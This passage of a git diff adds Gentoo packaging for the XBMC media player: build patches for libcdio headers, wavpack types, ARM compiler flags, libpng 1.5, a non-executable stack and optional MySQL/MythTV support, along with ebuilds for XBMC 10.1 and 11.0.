remove unsupported methods */ + for(vector >::iterator it = entries.begin(); it != entries.end();) +--- xbmc/Settings.cpp ++++ xbmc/Settings.cpp +@@ -772,7 +772,7 @@ + GetInteger(pElement, "interlacemethod", interlaceMethod, VS_INTERLACEMETHOD_NONE, VS_INTERLACEMETHOD_NONE, VS_INTERLACEMETHOD_INVERSE_TELECINE); + m_stSettings.m_defaultVideoSettings.m_InterlaceMethod = (EINTERLACEMETHOD)interlaceMethod; + int scalingMethod; +- GetInteger(pElement, "scalingmethod", scalingMethod, VS_SCALINGMETHOD_LINEAR, VS_SCALINGMETHOD_NEAREST, VS_SCALINGMETHOD_CUBIC); ++ GetInteger(pElement, "scalingmethod", scalingMethod, VS_SCALINGMETHOD_LINEAR, VS_SCALINGMETHOD_NEAREST, VS_SCALINGMETHOD_AUTO); + m_stSettings.m_defaultVideoSettings.m_ScalingMethod = (ESCALINGMETHOD)scalingMethod; + + GetInteger(pElement, "viewmode", m_stSettings.m_defaultVideoSettings.m_ViewMode, VIEW_MODE_NORMAL, VIEW_MODE_NORMAL, VIEW_MODE_CUSTOM); diff --git a/media-tv/xbmc/files/xbmc-9.11-use-cdio-system-headers-on-non-win32.patch b/media-tv/xbmc/files/xbmc-9.11-use-cdio-system-headers-on-non-win32.patch new file mode 100644 index 00000000..345d9115 --- /dev/null +++ b/media-tv/xbmc/files/xbmc-9.11-use-cdio-system-headers-on-non-win32.patch @@ -0,0 +1,129 @@ +diff --git a/xbmc/Application.cpp b/xbmc/Application.cpp +index 9097519..9b6418d 100644 +--- a/xbmc/Application.cpp ++++ b/xbmc/Application.cpp +@@ -236,7 +236,11 @@ + #endif + + #ifdef HAS_DVD_DRIVE ++#ifdef _WIN32 + #include "lib/libcdio/logging.h" ++#else ++#include ++#endif + #endif + + #ifdef HAS_HAL +diff --git a/xbmc/FileSystem/Makefile b/xbmc/FileSystem/Makefile +index 782d57a..1e524ed 100644 +--- a/xbmc/FileSystem/Makefile ++++ b/xbmc/FileSystem/Makefile +@@ -1,5 +1,4 @@ + INCLUDES=-I. -I../ -I../cores -I../linux -I../../guilib -I../lib/UnrarXLib -I../utils -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include +-INCLUDES+=-I../lib/libcdio/libcdio/include + + CXXFLAGS+=-D__STDC_FORMAT_MACROS \ + +diff --git a/xbmc/FileSystem/cdioSupport.cpp b/xbmc/FileSystem/cdioSupport.cpp +index 00e5fdd..21a0b67 100644 +--- a/xbmc/FileSystem/cdioSupport.cpp ++++ b/xbmc/FileSystem/cdioSupport.cpp +@@ -26,7 +26,7 @@ + #include "cdioSupport.h" + #include "utils/SingleLock.h" + #include "utils/log.h" +-#ifndef _LINUX ++#ifdef _WIN32 + #include "lib/libcdio/logging.h" + #include "lib/libcdio/util.h" + #include "lib/libcdio/mmc.h" +diff --git a/xbmc/FileSystem/iso9660.cpp b/xbmc/FileSystem/iso9660.cpp +index 6e1633f..58fbc50 100644 +--- a/xbmc/FileSystem/iso9660.cpp ++++ b/xbmc/FileSystem/iso9660.cpp +@@ -44,7 +44,7 @@ ISO9660 + #include "utils/CharsetConverter.h" + + #include "DetectDVDType.h" // for MODE2_DATA_SIZE etc. +-#ifdef _LINUX ++#ifndef _WIN32 + #include + #else + #include "lib/libcdio/bytesex.h" // for from_723 & from_733 +diff --git a/xbmc/Makefile b/xbmc/Makefile +index abfbdcb..f55381a 100644 +--- a/xbmc/Makefile ++++ b/xbmc/Makefile +@@ -8,8 +8,6 @@ INCLUDES+=-Ilib/libUPnP/Platinum/Source/Core \ + -Ilib/libUPnP/Neptune/Source/System/Posix \ + -Ilib/libUPnP/Neptune/Source/Core + +-INCLUDES+=-Ilib/libcdio/libcdio/include +- + SRCS=Application.cpp \ + CueDocument.cpp \ + GUISettings.cpp \ +diff --git a/xbmc/cdrip/CDDAReader.cpp b/xbmc/cdrip/CDDAReader.cpp +index c8b37b2..e3e9c0b 100644 +--- a/xbmc/cdrip/CDDAReader.cpp ++++ b/xbmc/cdrip/CDDAReader.cpp +@@ -24,7 +24,11 @@ + #ifdef HAS_CDDA_RIPPER + + #include "CDDAReader.h" ++#ifdef _WIN32 + #include "lib/libcdio/cdio.h" ++#else ++#include ++#endif + #include "utils/log.h" + + #define SECTOR_COUNT 52 +diff --git a/xbmc/cores/paplayer/AC3CDDACodec.cpp b/xbmc/cores/paplayer/AC3CDDACodec.cpp +index 20cded7..f2a077a 100644 +--- a/xbmc/cores/paplayer/AC3CDDACodec.cpp ++++ b/xbmc/cores/paplayer/AC3CDDACodec.cpp +@@ -22,7 +22,11 @@ + #include "system.h" + #include "AC3CDDACodec.h" + #ifdef HAS_AC3_CDDA_CODEC ++#ifdef _WIN32 + #include "lib/libcdio/sector.h" ++#else ++#include ++#endif + + AC3CDDACodec::AC3CDDACodec() : AC3Codec() + { +diff --git a/xbmc/cores/paplayer/CDDAcodec.cpp b/xbmc/cores/paplayer/CDDAcodec.cpp +index ca8f1be..42460dc 100644 +--- a/xbmc/cores/paplayer/CDDAcodec.cpp ++++ b/xbmc/cores/paplayer/CDDAcodec.cpp +@@ -20,7 +20,11 @@ + */ + + #include "CDDAcodec.h" ++#ifdef _WIN32 + #include "lib/libcdio/sector.h" ++#else ++#include ++#endif + + #define SECTOR_COUNT 55 // max. sectors that can be read at once + #define MAX_BUFFER_SIZE 2*SECTOR_COUNT*CDIO_CD_FRAMESIZE_RAW +diff --git a/xbmc/cores/paplayer/DTSCDDACodec.cpp b/xbmc/cores/paplayer/DTSCDDACodec.cpp +index e64cc2e..9bc46c6 100644 +--- a/xbmc/cores/paplayer/DTSCDDACodec.cpp ++++ b/xbmc/cores/paplayer/DTSCDDACodec.cpp +@@ -22,7 +22,11 @@ + #include "system.h" + #include "DTSCDDACodec.h" + #ifdef HAS_DTS_CODEC ++#ifdef _WIN32 + #include "lib/libcdio/sector.h" ++#else ++#include ++#endif + + DTSCDDACodec::DTSCDDACodec() : DTSCodec() + { diff --git a/media-tv/xbmc/files/xbmc-9.11-wavpack.patch b/media-tv/xbmc/files/xbmc-9.11-wavpack.patch new file mode 100644 index 00000000..4ef0d147 --- /dev/null +++ b/media-tv/xbmc/files/xbmc-9.11-wavpack.patch @@ -0,0 +1,44 @@ +fix from upstream trunk + +http://xbmc.org/trac/ticket/8185 + +Index: trunk/xbmc/cores/paplayer/DllWAVPack.h +=================================================================== +--- trunk/xbmc/cores/paplayer/DllWAVPack.h (revision 22927) ++++ trunk/xbmc/cores/paplayer/DllWAVPack.h (revision 25321) +@@ -58,7 +58,7 @@ + virtual int WavpackGetReducedChannels (WavpackContext *wpc)=0; + virtual int WavpackGetFloatNormExp (WavpackContext *wpc)=0; +- virtual int WavpackGetMD5Sum (WavpackContext *wpc, uchar data [16])=0; ++ virtual int WavpackGetMD5Sum (WavpackContext *wpc, unsigned char data [16])=0; + virtual uint32_t WavpackGetWrapperBytes (WavpackContext *wpc)=0; +- virtual uchar *WavpackGetWrapperData (WavpackContext *wpc)=0; ++ virtual unsigned char *WavpackGetWrapperData (WavpackContext *wpc)=0; + virtual void WavpackFreeWrapper (WavpackContext *wpc)=0; + virtual void WavpackSeekTrailingWrapper (WavpackContext *wpc)=0; +@@ -77,5 +77,5 @@ + virtual int WavpackSetConfiguration (WavpackContext *wpc, WavpackConfig *config, uint32_t total_samples)=0; + virtual int WavpackAddWrapper (WavpackContext *wpc, void *data, uint32_t bcount)=0; +- virtual int WavpackStoreMD5Sum (WavpackContext *wpc, uchar data [16])=0; ++ virtual int WavpackStoreMD5Sum (WavpackContext *wpc, unsigned char data [16])=0; + virtual int WavpackPackInit (WavpackContext *wpc)=0; + virtual int WavpackPackSamples (WavpackContext *wpc, int32_t *sample_buffer, uint32_t sample_count)=0; +@@ -133,9 +133,9 @@ + virtual int WavpackGetFloatNormExp (WavpackContext *wpc) + { return ::WavpackGetFloatNormExp (wpc); } +- virtual int WavpackGetMD5Sum (WavpackContext *wpc, uchar data [16]) ++ virtual int WavpackGetMD5Sum (WavpackContext *wpc, unsigned char data [16]) + { return ::WavpackGetMD5Sum (wpc, data); } + virtual uint32_t WavpackGetWrapperBytes (WavpackContext *wpc) + { return ::WavpackGetWrapperBytes (wpc); } +- virtual uchar *WavpackGetWrapperData (WavpackContext *wpc) ++ virtual unsigned char *WavpackGetWrapperData (WavpackContext *wpc) + { return ::WavpackGetWrapperData (wpc); } + virtual void WavpackFreeWrapper (WavpackContext *wpc) +@@ -171,5 +171,5 @@ + virtual int WavpackAddWrapper (WavpackContext *wpc, void *data, uint32_t bcount) + { return ::WavpackAddWrapper (wpc, data, bcount); } +- virtual int WavpackStoreMD5Sum (WavpackContext *wpc, uchar data [16]) ++ virtual int WavpackStoreMD5Sum (WavpackContext *wpc, unsigned char data [16]) + { return ::WavpackStoreMD5Sum (wpc, data); } + virtual int WavpackPackInit (WavpackContext *wpc) diff --git a/media-tv/xbmc/files/xbmc-9999-arm-kill-softfp.patch b/media-tv/xbmc/files/xbmc-9999-arm-kill-softfp.patch new file mode 100644 index 00000000..c50d83e2 --- /dev/null +++ b/media-tv/xbmc/files/xbmc-9999-arm-kill-softfp.patch @@ -0,0 +1,15 @@ +--- xbmc-9999.orig/configure.in ++++ xbmc-9999/configure.in +@@ -572,9 +572,9 @@ if test "$host_vendor" = "apple" ; then + LIBS="$LIBS -framework ApplicationServices" + fi + elif test "$use_arch" = "arm"; then +- CFLAGS="$CFLAGS -mfloat-abi=softfp -mno-apcs-stack-check" +- CXXFLAGS="$CXXFLAGS -mfloat-abi=softfp -mno-apcs-stack-check" +- FFMPEG_EXTRACFLAGS="-mfloat-abi=softfp" ++ CFLAGS="$CFLAGS -mno-apcs-stack-check" ++ CXXFLAGS="$CXXFLAGS -mno-apcs-stack-check" ++ FFMPEG_EXTRACFLAGS="" + if test "$use_tegra" = "yes"; then + # Compile for ARMv7a architecture, need to test gcc for vfpv3-d16 support + SAVE_CFLAGS="$CFLAGS" diff --git a/media-tv/xbmc/files/xbmc-9999-libpng-1.5-fix-plt-trn-get.patch b/media-tv/xbmc/files/xbmc-9999-libpng-1.5-fix-plt-trn-get.patch new file mode 100644 index 00000000..02954e8e --- /dev/null +++ b/media-tv/xbmc/files/xbmc-9999-libpng-1.5-fix-plt-trn-get.patch @@ -0,0 +1,47 @@ +--- xbmc-10.1.orig/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp ++++ xbmc-10.1/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp +@@ -178,12 +178,14 @@ bool CxImagePNG::Decode(CxFile *hFile) + int _num_palette; + png_colorp _palette; + #if PNG_LIBPNG_VER > 10399 +- png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette); ++ png_uint_32 _palette_ret; ++ _palette_ret = png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette); ++ if (_palette_ret && _num_palette>0){ + #else + _num_palette=info_ptr->num_palette; + _palette=info_ptr->palette; +-#endif + if (_num_palette>0){ ++#endif + SetPalette((rgb_color*)_palette,_num_palette); + SetClrImportant(_num_palette); + } else if (_bit_depth ==2) { // needed for 2 bpp grayscale PNGs +@@ -199,11 +201,13 @@ bool CxImagePNG::Decode(CxFile *hFile) + int _num_trans; + png_color_16p _trans_color; + #if PNG_LIBPNG_VER > 10399 +- png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color); ++ png_uint_32 _trans_ret; ++ _trans_ret = png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color); ++ if (_trans_ret && _num_trans!=0){ //palette transparency + #else + _num_trans=info_ptr->num_trans; +-#endif + if (_num_trans!=0){ //palette transparency ++#endif + if (_num_trans==1){ + if (_color_type == PNG_COLOR_TYPE_PALETTE){ + #if PNG_LIBPNG_VER > 10399 +@@ -219,7 +223,11 @@ bool CxImagePNG::Decode(CxFile *hFile) + #endif + } + } ++#if PNG_LIBPNG_VER > 10399 ++ if (_num_trans>1 && _trans_alpha!=NULL){ ++#else + if (_num_trans>1){ ++#endif + RGBQUAD* pal=GetPalette(); + if (pal){ + DWORD ip; diff --git a/media-tv/xbmc/files/xbmc-9999-no-arm-flags.patch b/media-tv/xbmc/files/xbmc-9999-no-arm-flags.patch new file mode 100644 index 00000000..179697a8 --- /dev/null +++ b/media-tv/xbmc/files/xbmc-9999-no-arm-flags.patch @@ -0,0 +1,16 @@ +http://bugs.gentoo.org/400617 + +do not force any particular ABI or FPU or SIMD compiler flags for arm +targets. let the toolchain and user CFLAGS control that. + +--- a/configure.in ++++ b/configure.in +@@ -571,7 +571,7 @@ + LIBS="$LIBS -framework DiskArbitration" + LIBS="$LIBS -framework ApplicationServices" + fi +-elif test "$use_arch" = "arm"; then ++elif false; then + CFLAGS="$CFLAGS -mfloat-abi=softfp -mno-apcs-stack-check" + CXXFLAGS="$CXXFLAGS -mfloat-abi=softfp -mno-apcs-stack-check" + FFMPEG_EXTRACFLAGS="-mfloat-abi=softfp" diff --git a/media-tv/xbmc/files/xbmc-9999-no-exec-stack.patch b/media-tv/xbmc/files/xbmc-9999-no-exec-stack.patch new file mode 100644 index 00000000..67b20b7b --- /dev/null +++ b/media-tv/xbmc/files/xbmc-9999-no-exec-stack.patch @@ -0,0 +1,28 @@ +http://trac.xbmc.org/ticket/12735 + +From f0e33eefa4b5d46f26811db2f5e943dcd7f2870e Mon Sep 17 00:00:00 2001 +From: Mike Frysinger +Date: Thu, 1 Mar 2012 00:04:49 -0500 +Subject: [PATCH] mark stack as non-executable + +Signed-off-by: Mike Frysinger +--- + xbmc/utils/fastmemcpy-arm.S | 5 +++++ + 1 files changed, 5 insertions(+), 0 deletions(-) + +diff --git a/xbmc/utils/fastmemcpy-arm.S b/xbmc/utils/fastmemcpy-arm.S +index 0e810a7..3d77c68 100644 +--- a/xbmc/utils/fastmemcpy-arm.S ++++ b/xbmc/utils/fastmemcpy-arm.S +@@ -527,3 +527,8 @@ copy_last_3_and_return: + + #endif /* __ARM_ARCH__ < 7 */ + #endif ++ ++#if defined(__linux__) && defined(__ELF__) ++/* we don't need an executable stack */ ++.section .note.GNU-stack,"",%progbits ++#endif +-- +1.7.8.4 + diff --git a/media-tv/xbmc/files/xbmc-9999-nomythtv.patch b/media-tv/xbmc/files/xbmc-9999-nomythtv.patch new file mode 100644 index 00000000..09286dba --- /dev/null +++ b/media-tv/xbmc/files/xbmc-9999-nomythtv.patch @@ -0,0 +1,206 @@ +http://trac.xbmc.org/ticket/11775 + +make mysql/mythtv support optional + +--- a/Makefile.in ++++ b/Makefile.in +@@ -127,13 +127,17 @@ endif + LIB_DIRS=\ + lib/cximage-6.0 \ + lib/libexif \ +- lib/cmyth \ + lib/libhdhomerun \ + lib/libid3tag \ + lib/libapetag \ + lib/cpluff \ + lib/xbmc-dll-symbols + ++ifeq (@BUILD_MYTHTV@,1) ++LIB_DIRS+=\ ++ lib/cmyth ++endif ++ + SS_DIRS= + ifeq (@USE_OPENGL@,1) + SS_DIRS+= xbmc/screensavers/rsxs-0.9/xbmc +@@ -418,7 +422,10 @@ imagelib: dllloader + $(MAKE) -C lib/cximage-6.0 + + codecs: papcodecs dvdpcodecs +-libs: cmyth libhdhomerun libid3tag imagelib libexif system/libcpluff-@ARCH@.so ++libs: libhdhomerun libid3tag imagelib libexif system/libcpluff-@ARCH@.so ++ifeq (@BUILD_MYTHTV@,1) ++libs: cmyth ++endif + externals: codecs libs visualizations screensavers + + xcode_depends: \ +--- a/configure.in ++++ b/configure.in +@@ -68,6 +68,9 @@ goom_enabled="== GOOM enabled. ==" + goom_disabled="== GOOM disabled. ==" + pulse_not_found="== Could not find libpulse. PulseAudio support disabled. ==" + pulse_disabled="== PulseAudio support manually disabled. ==" ++mysql_not_found="Could not find libmysqlclient. MySQL (and MythTV) support disabled. ==" ++mysql_disabled="== MySQL support disabled. ==" ++mythtv_disabled="== MythTV support disabled. ==" + dvdcss_enabled="== DVDCSS support enabled. ==" + dvdcss_disabled="== DVDCSS support disabled. ==" + hal_not_found="== Could not find hal. HAL support disabled. ==" +@@ -238,6 +241,18 @@ AC_ARG_ENABLE([ffmpeg_libvorbis], + [use_ffmpeg_libvorbis=$enableval], + [use_ffmpeg_libvorbis=no]) + ++AC_ARG_ENABLE([mysql], ++ [AS_HELP_STRING([--enable-mysql], ++ [enable MySQL support (default is auto)])], ++ [use_mysql=$enableval], ++ [use_mysql=auto]) ++ ++AC_ARG_ENABLE([mythtv], ++ [AS_HELP_STRING([--enable-mythtv], ++ [enable MythTV support (default is auto)])], ++ [use_mythtv=$enableval], ++ [use_mythtv=auto]) ++ + AC_ARG_ENABLE([dvdcss], + [AS_HELP_STRING([--enable-dvdcss], + [enable DVDCSS support (default is yes)])], +@@ -563,14 +578,31 @@ else + fi + + # platform common libraries +-AC_CHECK_PROG(MYSQL_CONFIG, mysql_config, "yes", "no") +-if test $MYSQL_CONFIG = "yes"; then +- INCLUDES="$INCLUDES `mysql_config --include`" +- MYSQL_LIBS=`mysql_config --libs` +- LIBS="$LIBS $MYSQL_LIBS" +- AC_SUBST(MYSQL_LIBS) +-else +- AC_MSG_ERROR($missing_program) ++have_mysql=no ++if test "$use_mysql" != "no"; then ++ AC_CHECK_PROG(MYSQL_CONFIG, mysql_config, "yes", "no") ++ if test $MYSQL_CONFIG = "yes"; then ++ INCLUDES="$INCLUDES `mysql_config --include`" ++ MYSQL_LIBS=`mysql_config --libs` ++ LIBS="$LIBS $MYSQL_LIBS" ++ AC_SUBST(MYSQL_LIBS) ++ AC_CHECK_LIB([mysqlclient], [main], have_mysql=yes) ++ fi ++fi ++if test "$have_mysql" = "yes"; then ++ BUILD_MYTHTV=1 ++ AC_DEFINE([BUILD_MYSQL], [1], [Define to 1 to build MySQL.]) ++ if test "$use_mysql" != "no"; then ++ AC_DEFINE([BUILD_MYTHTV], [1], [Define to 1 to build mythtv.]) ++ fi ++elif test "$use_mysql" = "yes" || test "$use_mythtv" = "yes"; then ++ AC_MSG_ERROR([$mysql_not_found]) ++else ++ BUILD_MYTHTV=0 ++ use_mysql=no ++ AC_MSG_NOTICE($mysql_disabled) ++ use_mythtv=no ++ AC_MSG_NOTICE($mythtv_disabled) + fi + AC_CHECK_HEADER([ass/ass.h],, AC_MSG_ERROR($missing_library)) + AC_CHECK_HEADER([mpeg2dec/mpeg2.h],, AC_MSG_ERROR($missing_library)) +@@ -594,7 +625,6 @@ AC_CHECK_LIB([lzo2], [main],, AC_MSG_ERROR($missing_library)) + AC_CHECK_LIB([z], [main],, AC_MSG_ERROR($missing_library)) + AC_CHECK_LIB([crypto], [main],, AC_MSG_ERROR($missing_library)) + AC_CHECK_LIB([ssl], [main],, AC_MSG_ERROR($missing_library)) +-AC_CHECK_LIB([mysqlclient], [main],, AC_MSG_ERROR($missing_library)) + AC_CHECK_LIB([ssh], [sftp_tell64],, AC_MSG_RESULT([Could not find suitable version of libssh])) + AC_CHECK_LIB([smbclient], [main],, AC_MSG_ERROR($missing_library)) + AC_CHECK_LIB([bluetooth], [hci_devid],, AC_MSG_RESULT([Could not find suitable version of libbluetooth])) +@@ -1319,6 +1349,18 @@ else + final_message="$final_message\n HAL Support:\tNo" + fi + ++if test "$use_mysql" = "yes"; then ++ final_message="$final_message\n MySQL:\tYes" ++else ++ final_message="$final_message\n MySQL:\tNo" ++fi ++ ++if test "$use_mythtv" = "yes"; then ++ final_message="$final_message\n MythTV:\tYes" ++else ++ final_message="$final_message\n MythTV:\tNo" ++fi ++ + # DVDCSS + if test "$use_dvdcss" = "yes"; then + AC_MSG_NOTICE($dvdcss_enabled) +@@ -1490,6 +1532,8 @@ AC_SUBST(USE_EXTERNAL_FFMPEG) + AC_SUBST(PYTHON_VERSION) + AC_SUBST(OUTPUT_FILES) + AC_SUBST(HAVE_XBMC_NONFREE) ++AC_SUBST(BUILD_MYSQL) ++AC_SUBST(BUILD_MYTHTV) + AC_SUBST(USE_ASAP_CODEC) + AC_SUBST(LIBCURL_BASENAME) + AC_SUBST(LIBFLAC_BASENAME) +--- a/xbmc/dbwrappers/Database.cpp ++++ b/xbmc/dbwrappers/Database.cpp +@@ -29,7 +29,9 @@ + #include "utils/AutoPtrHandle.h" + #include "utils/log.h" + #include "utils/URIUtils.h" ++#ifdef BUILD_MYSQL + #include "mysqldataset.h" ++#endif /* BUILD_MYSQL */ + #include "sqlitedataset.h" + + +@@ -266,6 +268,7 @@ + + m_sqlite = true; + ++#ifdef BUILD_MYSQL + if ( dbSettings.type.Equals("mysql") ) + { + // check we have all information before we cancel the fallback +@@ -276,7 +279,8 @@ + CLog::Log(LOGINFO, "Essential mysql database information is missing. Require at least host, user and pass defined."); + } + else ++#endif /* BUILD_MYSQL */ + { + dbSettings.type = "sqlite3"; + dbSettings.host = _P(g_settings.GetDatabaseFolder()); + dbSettings.name = GetBaseDBName(); +@@ -369,10 +373,12 @@ + { + m_pDB.reset( new SqliteDatabase() ) ; + } ++#ifdef BUILD_MYSQL + else if (dbSettings.type.Equals("mysql")) + { + m_pDB.reset( new MysqlDatabase() ) ; + } ++#endif /* BUILD_MYSQL */ + else + { + CLog::Log(LOGERROR, "Unable to determine database type: %s", dbSettings.type.c_str()); +--- a/xbmc/dbwrappers/mysqldataset.cpp ++++ b/xbmc/dbwrappers/mysqldataset.cpp +@@ -23,9 +23,11 @@ + #include + #include + ++#include "system.h" // for GetLastError() ++#ifdef BUILD_MYSQL ++ + #include "mysqldataset.h" + #include "utils/log.h" +-#include "system.h" // for GetLastError() + #include "mysql/errmsg.h" + #ifdef _WIN32 + #pragma comment(lib, "mysqlclient.lib") +@@ -1562,3 +1564,4 @@ + + }//namespace + ++#endif /* BUILD_MYSQL */ diff --git a/media-tv/xbmc/xbmc-10.1.ebuild b/media-tv/xbmc/xbmc-10.1.ebuild new file mode 100644 index 00000000..0a0ced48 --- /dev/null +++ b/media-tv/xbmc/xbmc-10.1.ebuild @@ -0,0 +1,225 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-tv/xbmc/xbmc-10.1.ebuild,v 1.8 2011/10/12 22:53:27 vapier Exp $ + +EAPI="2" + +inherit eutils python flag-o-matic + +# Use XBMC_ESVN_REPO_URI to track a different branch +ESVN_REPO_URI=${XBMC_ESVN_REPO_URI:-http://xbmc.svn.sourceforge.net/svnroot/xbmc/trunk} +ESVN_PROJECT=${ESVN_REPO_URI##*/svnroot/} +ESVN_PROJECT=${ESVN_PROJECT%/*} +if [[ ${PV} == "9999" ]] ; then + inherit subversion autotools + KEYWORDS="" +else + inherit autotools + SRC_URI="http://mirrors.xbmc.org/releases/source/${P}.tar.gz" + KEYWORDS="~amd64 ~x86" +fi + +DESCRIPTION="XBMC is a free and open source media-player and entertainment hub" +HOMEPAGE="http://xbmc.org/" + +LICENSE="GPL-2" +SLOT="0" +IUSE="alsa altivec avahi css debug joystick midi profile pulseaudio rtmp sse sse2 udev vaapi vdpau webserver +xrandr" + +COMMON_DEPEND="virtual/opengl + app-arch/bzip2 + app-arch/unzip + app-arch/zip + app-i18n/enca + dev-libs/boost + dev-libs/fribidi + dev-libs/libcdio[-minimal] + dev-libs/libpcre[cxx] + >=dev-libs/lzo-2.04 + >=dev-python/pysqlite-2 + media-libs/alsa-lib + media-libs/faad2 + media-libs/flac + media-libs/fontconfig + media-libs/freetype + >=media-libs/glew-1.5.6 + media-libs/jasper + media-libs/jbigkit + virtual/jpeg + >=media-libs/libass-0.9.7 + css? ( media-libs/libdvdcss ) + media-libs/libmad + media-libs/libmms + media-libs/libmodplug + media-libs/libmpeg2 + media-libs/libogg + media-libs/libpng + media-libs/libsamplerate + media-libs/libsdl[audio,opengl,video,X] + alsa? ( media-libs/libsdl[alsa] ) + media-libs/libvorbis + media-libs/sdl-gfx + >=media-libs/sdl-image-1.2.10[gif,jpeg,png] + media-libs/sdl-mixer + media-libs/sdl-sound + media-libs/tiff + pulseaudio? ( media-sound/pulseaudio ) + media-sound/wavpack + >=virtual/ffmpeg-0.6 + rtmp? ( media-video/rtmpdump ) + avahi? ( net-dns/avahi ) + webserver? ( net-libs/libmicrohttpd ) + net-misc/curl + || ( >=net-fs/samba-3.4.6[smbclient] =x11-drivers/nvidia-drivers-180.51 ) + virtual/ffmpeg[vdpau] + ) + x11-libs/libXinerama + xrandr? ( x11-libs/libXrandr ) + x11-libs/libXrender" +RDEPEND="${COMMON_DEPEND} + udev? ( sys-fs/udisks sys-power/upower )" +DEPEND="${COMMON_DEPEND} + app-text/dos2unix + dev-util/gperf + x11-proto/xineramaproto + dev-util/cmake + x86? ( dev-lang/nasm )" + +pkg_setup() { + # nasty runtime things might happen otherwise + # /usr/lib64/xbmc/system/players/dvdplayer/avcodec-52-x86_64-linux.so: + # undefined symbol: NeAACDecSetConfiguration + append-ldflags $(no-as-needed) + python_pkg_setup +} + +src_unpack() { + if [[ ${PV} == "9999" ]] ; then + subversion_src_unpack + cd "${S}" + rm -f configure + else + unpack ${A} + cd "${S}" + fi + + # Fix case sensitivity + mv media/Fonts/{a,A}rial.ttf || die + mv media/{S,s}plash.png || die +} + +src_prepare() { + epatch "${FILESDIR}"/${PN}-10.0-python-2.7.patch #350098 + epatch "${FILESDIR}"/${PN}-10.1-gcc-4.6.patch #367261 + epatch "${FILESDIR}"/${P}-libpng-1.5.patch #380127 + epatch "${FILESDIR}"/${PN}-10.1-headers.patch #380127 + # Fix runtime SEGV, Sabayon bug #2968 + dos2unix -o "${S}/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp" + epatch "${FILESDIR}"/${PN}-9999-libpng-1.5-fix-plt-trn-get.patch + unix2dos -o "${S}/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp" + + # some dirs ship generated autotools, some dont + local d + for d in . xbmc/cores/dvdplayer/Codecs/{libdts,libdvd/lib*/} lib/cpluff ; do + [[ -e ${d}/configure ]] && continue + pushd ${d} >/dev/null + einfo "Generating autotools in ${d}" + eautoreconf + popd >/dev/null + done + + local squish #290564 + use altivec && squish="-DSQUISH_USE_ALTIVEC=1 -maltivec" + use sse && squish="-DSQUISH_USE_SSE=1 -msse" + use sse2 && squish="-DSQUISH_USE_SSE=2 -msse2" + sed -i \ + -e '/^CXXFLAGS/{s:-D[^=]*=.::;s:-m[[:alnum:]]*::}' \ + -e "1iCXXFLAGS += ${squish}" \ + xbmc/lib/libsquish/Makefile.in || die + + # Fix XBMC's final version string showing as "exported" + # instead of the SVN revision number. + export SVN_REV=${ESVN_WC_REVISION:-exported} + + # Avoid lsb-release dependency + sed -i \ + -e 's:lsb_release -d:cat /etc/gentoo-release:' \ + xbmc/utils/SystemInfo.cpp + + # Do not use termcap #262822 + sed -i 's:-ltermcap::' xbmc/lib/libPython/Python/configure + + # avoid long delays when powerkit isn't running #348580 + sed -i \ + -e '/dbus_connection_send_with_reply_and_block/s:-1:3000:' \ + xbmc/linux/*.cpp || die + + epatch_user #293109 + + # Tweak autotool timestamps to avoid regeneration + find . -type f -print0 | xargs -0 touch -r configure +} + +src_configure() { + # Disable documentation generation + export ac_cv_path_LATEX=no + # Avoid help2man + export HELP2MAN=$(type -P help2man || echo true) + + # XBMC python mods only work with internal Python 2.4 + # ffmpeg is a moving target and newer version may + # not work with xbmc, even if API compatible (vdpau in + # ffmpeg is the main issue) + # a52 support is deprecated + # libdts support is deprecated + econf \ + --docdir=/usr/share/doc/${PF} \ + --disable-ccache \ + --disable-optimizations \ + --disable-external-python \ + --disable-external-ffmpeg \ + --disable-external-libdts \ + --disable-external-liba52 \ + --enable-gl \ + --disable-liba52 \ + --disable-libdts \ + $(use_enable avahi) \ + $(use_enable css dvdcss) \ + $(use_enable debug) \ + --disable-hal \ + $(use_enable joystick) \ + $(use_enable midi mid) \ + $(use_enable profile profiling) \ + $(use_enable pulseaudio pulse) \ + $(use_enable rtmp) \ + $(use_enable vaapi) \ + $(use_enable vdpau) \ + $(use_enable webserver) \ + $(use_enable xrandr) +} + +src_install() { + emake install DESTDIR="${D}" || die + dodoc keymapping.txt README.linux + rm "${D}"/usr/share/doc/${PF}/{copying.txt,LICENSE.GPL} || die + +# insinto /usr/share/applications +# doins tools/Linux/xbmc.desktop +# doicon tools/Linux/xbmc.png + + insinto "$(python_get_sitedir)" #309885 + doins tools/EventClients/lib/python/xbmcclient.py || die + newbin "tools/EventClients/Clients/XBMC Send/xbmc-send.py" xbmc-send || die +} + +pkg_postinst() { + elog "Visit http://wiki.xbmc.org/?title=XBMC_Online_Manual" +} diff --git a/media-tv/xbmc/xbmc-11.0.ebuild b/media-tv/xbmc/xbmc-11.0.ebuild new file mode 100644 index 00000000..5c092077 --- /dev/null +++ b/media-tv/xbmc/xbmc-11.0.ebuild @@ -0,0 +1,232 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-tv/xbmc/xbmc-11.0.ebuild,v 1.6 2012/04/05 00:26:27 vapier Exp $ + +EAPI="4" + +# Does not work with py3 here +# It might work with py:2.5 but I didn't test that +PYTHON_DEPEND="2:2.6" + +inherit eutils python + +EGIT_REPO_URI="git://github.com/xbmc/xbmc.git" +if [[ ${PV} == "9999" ]] ; then + inherit git-2 autotools +else + inherit autotools + MY_P=${P/_/-*_} + SRC_URI="http://mirrors.xbmc.org/releases/source/${MY_P}.tar.gz" + KEYWORDS="~amd64 ~x86" + S=${WORKDIR}/${MY_P} +fi + +DESCRIPTION="XBMC is a free and open source media-player and entertainment hub" +HOMEPAGE="http://xbmc.org/" + +LICENSE="GPL-2" +SLOT="0" +IUSE="airplay alsa altivec avahi bluetooth bluray cec css debug goom joystick midi mysql profile +projectm pulseaudio pvr +rsxs rtmp +samba sse sse2 udev vaapi 